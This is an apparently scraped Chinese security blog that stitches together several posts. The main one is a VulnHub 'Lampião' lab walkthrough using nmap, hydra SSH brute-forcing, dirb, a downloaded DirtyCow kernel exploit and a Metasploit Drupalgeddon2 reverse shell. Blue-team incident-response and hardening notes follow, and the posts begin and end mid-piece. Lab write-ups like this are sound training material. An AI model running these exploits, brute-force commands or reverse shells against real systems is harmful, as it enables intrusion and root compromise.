/var/www/html/gnocertdir/question/toggleflag.php
/var/www/html/gnocertdir/theme/afterburner/pix_core/i/unflagged.png
/var/www/html/gnocertdir/theme/afterburner/pix_core/i/flagged.png
/var/www/html/gnocertdir/theme/mymobile/pix_core/i/unflagged.png
/var/www/html/gnocertdir/theme/mymobile/pix_core/i/flagged.png
/var/www/html/gnocertdir/mod/quiz/pix/navflagged.png
/root/.flag.txt
/sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flags
/sys/devices/system/cpu/cpu0/microcode/processor_flags
/sys/devices/virtual/net/lo/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS5/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
/sys/devices/platform/serial8250/tty/ttyS8/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS10/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS12/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS14/flags
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS17/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS19/flags
/sys/devices/platform/serial8250/tty/ttyS20/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS22/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS24/flags
/sys/devices/platform/serial8250/tty/ttyS25/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS27/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS29/flags
/sys/devices/platform/serial8250/tty/ttyS30/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/kernel/debug/tracing/events/power/pm_qos_update_flags
/sys/module/scsi_mod/parameters/default_dev_flags

发现有个flag.txt文件

cat 这个文件

# cat .flag.txt
cat .flag.txt
Alec told me to place the codes here:

568628e0d993b1973adc718237da6e93

If you captured this make sure to go here.....
/006-final/xvf7-flag/

访问/006-final/xvf7-flag/

002-Lampiao

2022-08-14T07:21:00.000Z

项目Lampiao

项目地址:https://www.vulnhub.com/entry/lampiao-1,249/

Name: Lampião: 1
Date release: 28 Jul 2018
Author: Tiago Tavares
Series: Lampião

Description
Would you like to keep hacking in your own lab?

Try this brand new vulnerable machine! "Lampião 1".

Get root!

Level: Easy

信息搜集

获取项目地址

1	nmap -sP 10.0.0.0/24

┌──(root㉿kali)-[~/100project/002]
└─# nmap -sP 10.0.0.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-26 13:54 CST
Nmap scan report for openwrt.lan (10.0.0.1)
Host is up (0.00048s latency).
MAC Address: 00:15:5D:80:01:00 (Microsoft)
Nmap scan report for PC-A.lan (10.0.0.2)
Host is up (0.00030s latency).
MAC Address: 00:15:5D:64:C0:00 (Microsoft)
Nmap scan report for 02.lan (10.0.0.102)
Host is up (0.00063s latency).
MAC Address: 00:0C:29:D0:3D:FF (VMware)
Nmap scan report for kali.lan (10.0.0.3)
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.03 seconds

确定项目ip为 10.0.0.102

扫描项目端口

namp -p- 10.0.0.102

┌──(root㉿kali)-[~/100project/002]
└─# nmap -p- 10.0.0.102
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-26 13:56 CST
Nmap scan report for 02.lan (10.0.0.102)
Host is up (0.0025s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1898/tcp open  cymtec-port
MAC Address: 00:0C:29:D0:3D:FF (VMware)

Nmap done: 1 IP address (1 host up) scanned in 6.94 seconds

访问80,1898 端口

80端口只是txt文件

访问1898发现

查看页脚发现此站点为drupal cms

点进文章显示url为http://10.0.0.102:1898/?q=node/1

?q=node/1

修改为2 显示新页面

发现文章内容有文件名

尝试访问

下载下来从音频中能听见为 user

因此确认有用户为tiago

接着访问qre.png ,发现为二维码

修改为3 显示新页面

发现为一首歌曲(或许可能为葡萄牙歌曲?不懂hhh)

爆破ssh端口

生成字典文件

1	cewl http://10.0.0.102:1898/ -w passwd.txt

hydra 爆破ssh端口

┌──(root㉿kali)-[~/100project/002]
└─# hydra -l tiago -P passwd.txt -o success.txt 10.0.0.102 -s 22 ssh
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-02 15:11:42
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 844 login tries (l:1/p:844), ~53 tries per task
[DATA] attacking ssh://10.0.0.102:22/
[22][ssh] host: 10.0.0.102   login: tiago   password: Virgulino
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-02 15:12:35

得知

1	tiago:Virgulino

目录扫描

┌──(root㉿kali)-[~/100project/002]
└─# dirb http://10.0.0.102:1898/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Fri Sep  2 15:19:01 2022
URL_BASE: http://10.0.0.102:1898/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.0.0.102:1898/ ----
==> DIRECTORY: http://10.0.0.102:1898/includes/
+ http://10.0.0.102:1898/index.php (CODE:200|SIZE:11354)
==> DIRECTORY: http://10.0.0.102:1898/misc/
==> DIRECTORY: http://10.0.0.102:1898/modules/
==> DIRECTORY: http://10.0.0.102:1898/profiles/
+ http://10.0.0.102:1898/robots.txt (CODE:200|SIZE:2189)
==> DIRECTORY: http://10.0.0.102:1898/scripts/
+ http://10.0.0.102:1898/server-status (CODE:403|SIZE:292)
==> DIRECTORY: http://10.0.0.102:1898/sites/
==> DIRECTORY: http://10.0.0.102:1898/themes/
+ http://10.0.0.102:1898/web.config (CODE:200|SIZE:2200)
+ http://10.0.0.102:1898/xmlrpc.php (CODE:200|SIZE:42)

---- Entering directory: http://10.0.0.102:1898/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.0.0.102:1898/misc/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.0.0.102:1898/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.0.0.102:1898/profiles/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.0.0.102:1898/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.0.0.102:1898/sites/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.0.0.102:1898/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Fri Sep  2 15:19:08 2022
DOWNLOADED: 4612 - FOUND: 5

查看robots.txt

# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php

http://10.0.0.102:1898/CHANGELOG.txt

访问此页面得知此cms版本为7.54

提权

一.登录ssh提权

下载 linux-exploit-suggester 检测

1	wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

┌──(root㉿kali)-[~]
└─# ssh tiago@10.0.0.102
tiago@10.0.0.102's password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Sat Sep  3 11:57:10 BRT 2022

  System load: 0.32              Memory usage: 8%   Processes:       196
  Usage of /:  7.8% of 19.07GB   Swap usage:   0%   Users logged in: 0

  Graph this data and manage this system at:
    https://landscape.canonical.com/

226 packages can be updated.
177 updates are security updates.

New release '16.04.7 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sat Sep  3 02:59:12 2022 from kali.lan
tiago@lampiao:~$ cd /tmp
tiago@lampiao:/tmp$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
--2022-09-03 04:14:18--  https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 89641 (88K) [text/plain]
Saving to: ‘les.sh’

100%[==================================================================================>] 89,641      33.1KB/s   in 2.6s

2022-09-03 04:14:22 (33.1 KB/s) - ‘les.sh’ saved [89641/89641]

tiago@lampiao:/tmp$ chmod +x les.sh
tiago@lampiao:/tmp$ ./les.sh

Available information:

Kernel version: 4.4.0
Architecture: i686
Distribution: ubuntu
Distribution version: 14.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

79 kernel space exploits
49 user space exploits

Possible Exploits:

[+] [CVE-2017-16995] eBPF_verifier

   Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
   Exposure: highly probable
   Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,[ ubuntu=14.04 ]{kernel:4.4.0-89-generic},ubuntu=(16.04|17.04){kernel:4.(8|10).0-(19|28|45)-generic}
   Download URL: https://www.exploit-db.com/download/45010
   Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1

[+] [CVE-2017-1000112] NETIF_F_UFO

   Details: http://www.openwall.com/lists/oss-security/2017/08/13/1
   Exposure: highly probable
   Tags: [ ubuntu=14.04{kernel:4.4.0-*} ],ubuntu=16.04{kernel:4.8.0-*}
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-1000112/poc.c
   Comments: CAP_NET_ADMIN cap or CONFIG_USER_NS=y needed. SMEP/KASLR bypass included. Modified version at 'ext-url' adds support for additional distros/kernels

[+] [CVE-2016-8655] chocobo_root

   Details: http://www.openwall.com/lists/oss-security/2016/12/06/1
   Exposure: highly probable
   Tags: [ ubuntu=(14.04|16.04){kernel:4.4.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic} ]
   Download URL: https://www.exploit-db.com/download/40871
   Comments: CAP_NET_RAW capability is needed OR CONFIG_USER_NS=y needs to be enabled

[+] [CVE-2016-5195] dirtycow

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2017-6074] dccp

   Details: http://www.openwall.com/lists/oss-security/2017/02/22/3
   Exposure: probable
   Tags: [ ubuntu=(14.04|16.04) ]{kernel:4.4.0-62-generic}
   Download URL: https://www.exploit-db.com/download/41458
   Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass

[+] [CVE-2016-2384] usb-midi

   Details: https://xairy.github.io/blog/2016/cve-2016-2384
   Exposure: probable
   Tags: [ ubuntu=14.04 ],fedora=22
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c
   Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user

[+] [CVE-2015-3202] fuse (fusermount)

   Details: http://seclists.org/oss-sec/2015/q2/520
   Exposure: probable
   Tags: debian=7.0|8.0,[ ubuntu=* ]
   Download URL: https://www.exploit-db.com/download/37089
   Comments: Needs cron or system admin interaction

[+] [CVE-2015-1318] newpid (apport)

   Details: http://openwall.com/lists/oss-security/2015/04/14/4
   Exposure: probable
   Tags: [ ubuntu=14.04 ]
   Download URL: https://gist.githubusercontent.com/taviso/0f02c255c13c5c113406/raw/eafac78dce51329b03bea7167f1271718bee4dcc/newpid.c

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: mint=19,ubuntu=18|20, debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded

[+] [CVE-2019-18634] sudo pwfeedback

   Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
   Exposure: less probable
   Tags: mint=19
   Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
   Comments: sudo configuration requires pwfeedback to be enabled.

[+] [CVE-2019-15666] XFRM_UAF

   Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
   Exposure: less probable
   Download URL:
   Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled

[+] [CVE-2017-7308] af_packet

   Details: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
   Exposure: less probable
   Tags: ubuntu=16.04{kernel:4.8.0-(34|36|39|41|42|44|45)-generic}
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c
   Comments: CAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels

[+] [CVE-2017-5618] setuid screen v4.5.0 LPE

   Details: https://seclists.org/oss-sec/2017/q1/184
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154

[+] [CVE-2016-9793] SO_{SND|RCV}BUFFORCE

   Details: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
   Exposure: less probable
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-9793/poc.c
   Comments: CAP_NET_ADMIN caps OR CONFIG_USER_NS=y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU only

[+] [CVE-2016-4557] double-fdput()

   Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
   Exposure: less probable
   Tags: ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip
   Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1

[+] [CVE-2015-1318] newpid (apport) 2

   Details: http://openwall.com/lists/oss-security/2015/04/14/4
   Exposure: less probable
   Tags: ubuntu=14.04.2
   Download URL: https://www.exploit-db.com/download/36782

[+] [CVE-2016-0728] keyring

   Details: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/40003
   Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working

tiago@lampiao:/tmp$

经过一一试用

1	[+] [CVE-2016-5195] dirtycow 2 https://www.exploit-db.com/download/40847 能提权成功


wget https://www.exploit-db.com/raw/40847 -O 40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow -s

tiago@lampiao:/tmp$ wget https://www.exploit-db.com/raw/40847 -O 40847.cpp
--2022-09-03 04:19:22--  https://www.exploit-db.com/raw/40847
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: ‘40847.cpp’

    [  <=>                                                                              ] 10,531      45.3KB/s   in 0.2s

2022-09-03 04:19:24 (45.3 KB/s) - ‘40847.cpp’ saved [10531]

tiago@lampiao:/tmp$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
tiago@lampiao:/tmp$ ./dcow -s
Running ...
Password overridden to: dirtyCowFun

Received su prompt (Password: )

root@lampiao:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /etc/passwd
root@lampiao:~# rm /tmp/.ssh_bak
root@lampiao:~#

二.使用Drupal 7.54 exp

谷歌搜索到有CVE-2018-7600

使用msf

msf6 > search CVE-2018-7600

Matching Modules
================

   #  Name                                      Disclosure Date  Rank       Check  Description
   -  ----                                      ---------------  ----       -----  -----------
   0  exploit/unix/webapp/drupal_drupalgeddon2  2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/drupal_drupalgeddon2

msf6 >

msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_OUTPUT  false            no        Dump payload command output
   PHP_FUNC     passthru         yes       PHP function to execute
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
                                           ng-Metasploit
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /                yes       Path to Drupal install
   VHOST                         no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.0.3         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)


msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts http://10.0.0.102:1898/
rhosts => http://10.0.0.102:1898/
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 10.0.0.3:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (39927 bytes) to 10.0.0.102
[*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.102:52034) at 2022-09-03 15:24:06 +0800

meterpreter > shell
Process 5701 created.
Channel 0 created.
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@lampiao:/var/www/html$ cd /tmp
cd /tmp
www-data@lampiao:/tmp$

然后使用一的 dirty提权

www-data@lampiao:/tmp$ ls
ls
40847.cpp  dcow  les.sh
www-data@lampiao:/tmp$ ./dcow
./dcow
Running ...
Received su prompt (Password: )
Root password is:   dirtyCowFun
Enjoy! :-)
www-data@lampiao:/tmp$ su root
su root
Password: dirtyCowFun


root@lampiao:/tmp# cd /root
cd /root
root@lampiao:~# ls
ls
flag.txt
root@lampiao:~# cat f
cat flag.txt
9740616875908d91ddcdaa8aea3af366
root@lampiao:~#

总结

一,cewl 爬取页面生成字典文件

1	cewl http://10.0.0.102:1898/ -w passwd.txt

二.目录扫描 dirb

1	dirb http://10.0.0.102:1898/

003-rraven

2022-08-14T07:21:00.000Z

护网复习

2022-03-16T10:02:25.000Z

web安全漏洞

owasp top 10x

A01- Broken Access Control(失效的访问控制)
A02- Cryptographic Failures(加密机制失效)
A03- Injection(注入)
A04- Insecure Design(不安全设计)
A05- Security Misconfiguration(安全配置错误)
A06- Vulnerable and Outdated Components(自带缺陷和过时的组件)
A07- Identification and Authentication Failures(身份识别和身份验证错误)
A08- Software and Data Integrity Failures(软件和数据完整性故障)
A09- Security Logging and Monitoring Failures(安全日志和监控故障)
A10- Server-Side Request Forgery(服务端请求伪造)

安全设备日志

安全监控与日志分析

涉及防火墙,ids,waf,全流量设备,天眼,态势感知等

防火墙设备

前期准备(梳理防火墙访问控制规则)

源ip处理(添加访问控制,阻断攻击源ip)

IDS设备

IDS主要部署模式为旁路部署，旁路接镜像流量，各厂商的IDS
设备功能没有大的区别，主要是对经过IDS
的流量进行检测、匹配规则然后产生告警事件。
IDS
操作简单，实时监控发现有高危攻击事件、异常攻击事件后导出日志及对应
的pacp包进行分析，如有攻击特征的就可以确认为攻击事件可以对攻击源IP
进行上报封禁，无攻击特征的告警事件一定不要封禁IP
避免误判对业务造成影响。
常见事件: web
攻击、拒绝服务攻击、远程代码执行攻击、扫描事件、
弱口令、暴力破解等

IDS-SQL注入

HW常见攻击手段

社会工程学
VPN
业务逻辑
弱口令
注入攻击
Nday
上传getshell
未授权访问
邮件
APP
边角系统
Wi-Fi
Weblogic
反序列化
废弃资产
数据库
Struts 2

应用安全

网页篡改-非法子页面-暗链
web漏洞(sql,xss.csrf,ssrf,上传)
中间件漏洞(weblogic反序列化,fastjson反序列化,shiro反序列化,jboss反序列化,strust2反序列化,thinkphp5反序列化,iis apache解析等)
数据库漏洞(mysql提权,redis未授权访问)
产品漏洞(泛微oa,致远oa,金蝶erp,用友erp,confluence等等)
cc攻击
服务器安全(勒索病毒,挖矿木马,口令破解,高危漏洞,
网络安全(ddos攻击,dns劫持,arp欺骗,配置错误)

事件识别

特别重大事件
重大事件
较大事件
一般事件

识别安全事件-判断范围

内接入区

外来接入区\

单台主机or多台主机

已被感染or处于危险中

识别安全事件-用途

个人办公主机

特殊权限主机

工控主机

应用服务器

数据库服务器

域控服务器

识别安全事件-取证过程

保护第一现场

避免攻击痕迹被清除

经验法

回溯攻击法

三要素法

不轻信一面之词

与目击者交流相关细节

亲自核实所述,转述情况

识别安全事件-取证对象

病毒/木马文件

日志文件

主机日志

应用日志

安全设备日志

攻击者残留文件

在主机上抓取的流量包

应急响应常见排查思路

收集信息：收集客户信息和中毒主机信息，包括样本
判断类型：判断是否是安全事件，何种安全事件，勒索、挖矿、断网、DoS 等等
抑制范围：隔离使受害⾯不继续扩⼤
深入分析：日志分析、进程分析、启动项分析、样本分析方便后期溯源
清理处置：杀掉进程，删除文件，打补丁，删除异常系统服务，清除后门账号防止事件扩大，处理完毕后恢复生产
产出报告：整理并输出完整的安全事件报告

windows入侵事件应急响应

网络 netstat -ano
账户 lusrmgr.msc
日志 eventvwr.msc

日志路径: C:\Windows\System32\winevt\Logs、C:\windows\Minidump
必看日志: Security.evtx、System.evtx、Application.evtx

进程启动项计划任务服务
文件
内存

linux入侵常见排查思路

网络 netstat -anlp
进程 ps aux|grep pid
账户 uptime who w(查看某一刻用户的行为)
计划任务 crontab -l -u root
登录日志检测 /var/log lastlog var/log/wtmp 存储登录成功的信息、btmp 存储登录失败的信息、utmp 存储当前正在登录的信息
web日志检测
系统服务 service --status-all
文件
内存模块
rootkit检测

linux 系统接入日志

多个程序会记录该日志记录到/var/log/wtmp和/var/run/utmp文件中telnet、ssh
等程序会更新wtmp和utmp
文件系统管理员可以根据该日志跟踪到谁在何时登录到系统。

/var/log/secure
该日志文件为Linux系统安全日志，记录用户和工作组变换情况、用户登陆认证情况

日志审计总结
1.
需要检查的系统日志文件主要包括一般信息日志、网络连接日志、文件传输日志
以及用户登录日志等。在检查这些日志时要特别注意时间记载分析日志产生的时
间是否合理;
2.可疑的日志记录;
3.非正常时间凌晨的用户登录;
4.笑键日志记录损坏尤其是记录用户登录登出信息的wtmp文件;
5.非正常IP的用户登录;
6.用户登录失败甚至一再尝试登录并失败的日志记录;
7.非正常的超级用户权限切换su指令;
8.非正常的控制进程启动或重启记录;
9.等等.

Linux基线规范

每个公司有每个公司的基线规范体系，但是答题分为下列五个方面

账号管理和授权

检查特殊账号，是否存在空密码的账户和 root 权限账户
禁用或删除无用账号
添加口令策略:/etc/login.defs修改配置文件，设置过期时间、连续认证失败次数
禁止 root 远程登录，限制root用户直接登录。
检查 su 权限。vi /etc/pam.d/su添加auth required pam_wheel.so group=test
服务

关闭不必要的服务
SSH 服务安全
不允许 root 账号直接登录系统，PermitRootLogin=no
修改 SSH 使用的协议版本为 2
修改允许密码错误次数（默认 6 次），MaxAuthTries=3
文件系统

设置 umask 值 vi /etc/profile 添加行 umask 027
设置登录超时 vi /etc/profile 修改配置文件，将以 TMOUT= 开头的行注释，设置为 TMOUT=180
日志

启用 syslogd 日志，配置日志目录权限，或者设置日志服务器

记录所有用户的登录和操作日志，通过脚本代码实现记录所有用户的登录操作日志，防止出现安全事件后无据可查

https://www.alibabacloud.com/help/zh/faq-detail/49809.htm

IP 协议安全要求

远程登录取消 telnet 采用 ssh
设置 /etc/hosts.allow 和 deny
禁止 ICMP 重定向
禁止源路由转发
防 ssh 破解，iptables (对已经建立的所有链接都放行，限制每分钟连接 ssh 的次数)+ denyhost (添加 ip 拒绝访问)

##Windows 安全基线检查

主要包括五个方面：身份鉴别、访问控制、安全审计、资源控制、剩余信息保护

身份鉴别

更改缺省账户

检查Guest用户是否禁用

密码复杂性要求

密码长度最小不能小于8位

访问控制

共享账户检查

远程关机授权

本地关机

授权帐户登陆

安全审计

用户登录日志记录

系统日志完备性检查

登录超时管理

资源控制

登录超时管理

远程登录超时配置

剩余信息保护

不显示上次的用户名

关机前清除虚拟内存页面

不启用可还原的加密来存储密码

常用隔离办法

已经发生安全事件的对象
●采取例如断网、下线等可行措施进行隔离,避免影响其它主机
●通过边界控制设备,防止网络区域间相互影响
对于处在危险中的对象
●采取及时的补救加固措施
●相关漏洞的扫描修补与跟踪
●进行黑盒/白盒安全测试

应急响应

通常指一个组织为了各种意外事件发生所做的准备,以及在事件发生后孙才去的措施.

准备阶段

应急团队建设

应急方案制定

渗透测试评估

安全基线检查

检测阶段

判断事件类型

判断事件级别

确定应急方案

抑制阶段

阻断(ip,连接)

关闭(服务等)

删除()

根除阶段

增强(策略)

修复(漏洞)

还原(备份等等)

恢复阶段

业务系统

通信系统

用户数据

总结阶段

编码

2021-12-14T11:45:23.000Z

页面编码

在网页设置网页编码在中加入设置特定html 标签

‘’ 这样页面的编码就会变成utf-8 ，如果没有设置编码就会使用默认
的编码，而浏览器默认编码与之不同就会出现乱码。
常用的有三种格式分别是 utf-8、gbk、gbk2312

html编码

HTML 编码的存在就是让他在代码中和显示中分开，避免错误。
命名实体：构造是&加上希腊字母，
字符编码：构造是&#加十进制

十六进制 ASCII 码或unicode 字符编码，
而且浏览器解析的时候会先把 html 编码解析再进行渲染。但是有个前提就是必须要在“值”里，
比如属性src 里，但却不能对src 进行html 编码。不然浏览器无法正常的渲染。

十六进制

十进制

xss

sql注入

2021-05-26T14:46:00.000Z

access+asp 手工注入

access 数据库

access 数据库与其他数据库不一样他没有存储表的库，所以只能猜表。

access 数据库结构

表字段数据

判断是否存在注入

